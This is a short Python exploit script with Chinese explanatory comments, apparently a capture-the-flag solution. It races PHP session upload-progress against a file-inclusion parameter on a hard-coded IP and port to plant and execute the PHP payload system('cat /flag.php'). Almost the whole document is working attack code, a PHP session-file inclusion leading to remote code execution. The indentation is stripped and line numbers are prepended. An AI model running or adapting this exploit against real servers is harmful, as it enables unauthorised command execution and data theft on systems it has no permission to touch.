1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import io  # io库
import requests # requests库
import threading # 多线程库

url = 'http://121.43.55.52:10078/'

def write(session): # 首先是上传文件的write函数
data = { # data是session文件的内容,需要写在PHP_SESSION_UPLOAD_...中
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag.php");?>dotast'
} # 构造数据,有个特殊字符dotast,这个用来判断响应包是否是我们想要的
while True: # 循环着,进行条件竞争
f = io.BytesIO(b'a' * 1024 * 10) # f=file:上传文件的名称和大小,设置文件大小,这里是10kb
response = session.post(url, cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})

def read(session): # 读取session文件的read函数
while True: # 持续的读入text,直至成功
response = session.get(url + "?file=/tmp/sess_flag") # 以get访问该临时文件
if 'dotast' in response.text: # 如果出现该特殊字符
print(response.text) # 说明成功竞争到资源
break # 结束程序
else:
print("NO") # 没有成功

if __name__ == '__main__': # 引用偷来的解释name是python每个程序的一个内置属性,只有我们在当前程序 运行这个程序的时候,name才是main,这个表达式才会返回true,执行下面的 语句,如果是通过import这种导入的话,name是你这个python文件的名字而不 是main,表达式会返回false,下面的语句就无法执行。
session = requests.session()
write = threading.Thread(target=write, args=(session,)) # 开启多线程竞争
write.daemon = True # 这个的意思就是主线程结束,子线程也跟着结束了
write.start() # 开始多线程运行
read(session) # 读入text